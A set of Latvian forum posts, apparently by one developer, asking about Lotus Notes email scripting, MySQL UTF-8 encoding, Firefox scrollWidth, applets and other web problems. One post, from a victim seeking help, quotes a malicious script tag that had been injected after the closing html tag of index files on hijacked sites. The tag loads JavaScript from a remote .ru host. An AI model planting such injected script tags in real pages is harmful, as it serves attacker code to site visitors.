ebw

no laba praata jau pats neko taadu nedariitu. bet nu requirements ir. kaukas jadomaa.. anchor linki jau butu labi.. bet viniem itkaa vajag pa sekcijaam,.. hmm lazhinja :)

jaa, savaa zinjaa taa tas ir.. bet kaadi veel ir risinaajumi lai uztaisiitu mailaa expand / collapse sekciju..

sveiki! varbuut kaadam ir pieredze ar mailu suutiishanu uz Lotus Notes.. probleema taada ka nekaadi nesanaak uzdabuut lai javascripts straadaatu html mailaa kas tiek nosuutiits uz Lotus Notes.. jau ar LN mailu stiloshanu ir diezgan lielas probleemas jo vinjsh baigi specifiski attiecas pret CSS.. bet nu kaukaa apmeeram to veel var paveikt ar inline stiliem un tamlidzigam izvirtiibaam. bet nu ar Js galigi kautkaa neiet.. vispaar settingos ir iesleegts js utt. any ideas? tnx!

buus japameegjina kas liidziigs. izmeegjinaaju ar SET NAMES, tagad tieshaam bazee arii atteelojas garumzimes pareizi. paldies!

njaa.. kautkaa biju palaidis sho garaam :( bet teiksim esošos datus ir kaada iespeeja paarkonverteet uz normaaliem? laikam jataisa kautkads simbolu mappings un vnk jataisa replace uz normaliem.. cik saprotu

nee, set names nekur neizmantojas..

sveiki gribeju pajautat par kodejumiem: man ir mysql baaze kuraa ir tabulas ar "utf8_general_ci" kodejumu. teiksim kad no formas (lapai ir utf-8 kodejums) tiek pievienots ieraksts baazee, kuram ir garumzīmes, skatoties caur phpmyadmin atteelojas savaadi - piem. "palÄ«dz" nevis "palīdz" garumzimes tiek aizvietotas ar kkadiem spec simboliem.. tachu kad no baazes tiek izvaditi dati uz webu, vinji atteelojas ar pareizajaam garumziimeem.. kas varetu but pa vainu, kapeec baazee vinji raadaas kaa kjeburi? arii kad taisa dump, pie insertiem ir ar kjeburiem nevis istajam garumzimem.. vai var kaukaa nomainiit teiksim lai vinji baazee un dumpaa atteelotos normaali? paldies!

sveiki! gadiijusies te taada probleema ka uz mana hostinga dazhiem domeeniem ir sachakareeti faili.. izpauzhas tas taa, ka daudziem index*.*, default*.*, main*.* failiem beigaas (aiz </html> taga) ir piekabinaajies aptuveni sekojoshs kods <script type="text/javascript" src="http://kautkas.ru:8080/kautkas.js"></script> <!--8469f3ebb36bebb12b39b0f9e7fe5933--> domeni no kura scripts izsaucas ir dazhaadi.. piem. greatrow.ru, moist.ru utt. gribeeju pajautaat vai kaads ir saskaaries ar liidziigu nelaimi? cik lasiiju, izskataas ka diezgan modiiga lieta - vismaz aarzemees ir kas no shii liidziiga ir cietushi. kas vareetu buut pa iemeslu un kaa tas tika paveikts? itkaa cik lasiiju sheit http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/ runa ir par pieejas zagshanu no ftp klientiem.

ok.paldies par ideju. japamegina.

interesants variants savaacam no dr.lv datus un sesiju uztaisaam peec sava mehaanisma.

sveiki! varbuut variet ieteikt kaa labaak tikt galaa ar sekojoshu lietu. ir viens web projekts, kuram ir taada lieta kaa lietotaaju registraacija un ielogoshanaas. notiek tas izmantojos sessijas. BET ir arii taada lieta kaa draugiem.lv pase - kas dod iespeju autorizeeties ar draugiem.lv user/pass. gribeetu dot iespeeju lietotaajam izmantot gan vienu gan otru iespeeju piesleegties sisteemai. teiksim esoshaa Login forma tiek submitota uz failu teiksim "authorize.php", kur iekshaa notiek lietotaja atrashana DB un sesijas izveidoshana (ja viss ok).. tachu vai shajaa pashaa "authorize.php" vareetu arii kautkaa paarbaudiit arii vai taa dr.lv pase ir autorizeeta? kaa vareetu shiis abas lietas normaali apvienot vienaa? tnx!

nu jaa. apskatiijos ar FireBug response headeri - tur staav content-type: text/plain. laikam pashaa servletaa jaliek tas encodings.

nee caur URL atverot.. vieniigi veel taads aspekts ka tas html tiek atgriezts no Servleta.. shaadi: http://server.com/SomeServlet?id=123 nevis kaa: http://server.com/somepage.html varbuut probleema vareetu buut tur, ka vinjsh takaa neredz arii *.html extensionu?

Sveiki! Ir sekojosha situaacija: lietojot FireFox neveras html dokuments normaali valjaa - nevis atveras dokumenta saturs, bet source kods. html dokumentaa nekaa iipasha nav, iznemot appletu. saakumaa domaaju ka tas deelj Content-Type, pieliku content = text/html, bet joprojaam taa pati pobleema. IE straadaa viss normaali. varbuut ir kaadas idejas, kur vareetu buut aakjis?

beigaas uztaisiiju taa, kad tiek izveidots neredzams DIV ar taadu width kaa inputam .ffDiv { overflow-x:scroll; white-space:nowrap; height:0; position:absolute; } kuram arii vajadziigajaa momentaa tiek nolasiits tas scrollWidth.. kursh tagad tiek atgriezts pareizi. tas taads workarounds. buutu jau feini ja Mozilla safixotu sho lietu :)

man galvenais ir uzzinaat vai ievadiitais teksts nepaarsniedz input platumu (viss teksts ir redzams - un nav aarpus inputa).. reekjinaat peec burtu platumiem nebuutu forshi :D

varbuut ka izdodas. bus japamegina.

Sveiki! Atradu ka ir taada probleema nosakot elementam scrollWidth FireFoxii. Kods aptuveni sekojoshs. <htm<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html><head><title>ff problem</title> <script> function f() { elm = document.getElementById('i'); alert(elm + '\n' + 'offsetWidth: ' + elm.offsetWidth + '\n' + 'scrollWidth: ' + elm.scrollWidth + '\n'); } </script> </head> <body> <input id="i" style="width:50px;" value="some long long string"> <button onClick="f();">Show</button> </body> </html> IE7 vinjsh uzraada pareizu veertiibu "scrollWidth" (129), bet FF (3.5) vinjsh nemainiigi raada ka "scrollWidth" ir 50 (tikpat cik "offsetWidth"). Varbuut kaads ir sastapies ar liidziigu probleemu un var ieteikt kaadu risinaajumu - kaa piespiest FF atgriezt pareizo veertiibu? Paldies!

Sveiki! Ir radusies vajadziiba projektaa (tiek izmantots Java/GWT) peec taadas lietas kaa - Folder Selection. Tas ir kaa Save file dialogs, tikai ar foldera izveeles iespeeju.. Lai ko taadu izdaritu, cik noprotu vieniigais variants ir izmantot Appletus.. jo vini var tikt klaat failu sisteemai. Varbuut kaads ir saskaaries ar shaadu lietu un var kautko ieteikt.. baigi jau negribeetos izmantot appletus bet laikam nav alternatiivu :( Ideja liidziiga kaa shinii skriinshotaa:

sveiki! situaacija aptuveni taada, ka ir nepiecieshams lietot appletu (diemzheel) kas atrodas iframe. probleema ir taada kad ir arii DIVs kam japaraadaas pa virsu (tipa modal div popups), tachu nekaadi nesanaak vinju paraadiit pa virsu tam apletam. applets vienmeer klaajas pa virsu.. cik sapratu reaala risinaajuma shim nav (iznjemot - nelietot appletus). bet tomeer varbuut ka kaads ir saskaaries ar sho probzu un atrisinaajis? tnx!

ok. tnx. buus japapeeta

itkaa " taatad man jadabuu uz " cik noprotu

sorry, ja atkārtojos, bet īsti nevaru iebraukt šajā lietā.. kā pareizi var apstrādāt tekstu, lai input laukā viņš rādītos ar pēdiņām. teiksim ja no bāzes atnāk vērtība: SIA "Kautkas" tad inputā viņš izskatās kā: <input type="text" name="vards" value="SIA "Kautkas""> rezultātā inputā ir tikai SIA bez tā kas pēdiņās. paldies!

sveiki! gribeeju pajautaat, varbuut esat saskaarushies ar sekojosho. ir paaris lielas xsd sheemas, no kuraam vajadzeetu dabuut xml ar kautkaadiem datiem, lai peectam attieciigi vareetu vinjiem rakstiit xsl. bet taa kaa sheemas ir ljoti lielas, reaali ar rokaam to visu izdariit ir nereaali ilgi. varbuut varat ieteikt kaadu tooli, kas no xsd gjeneree xml ar kaukaadiem sample datiem vai ko tml. ceru uz juusu ieteikumiem, jo pats ar sho lietu neesmu iipashi daudz kreemeejies :(

skaidrs. zheel. jadomaa kas cits.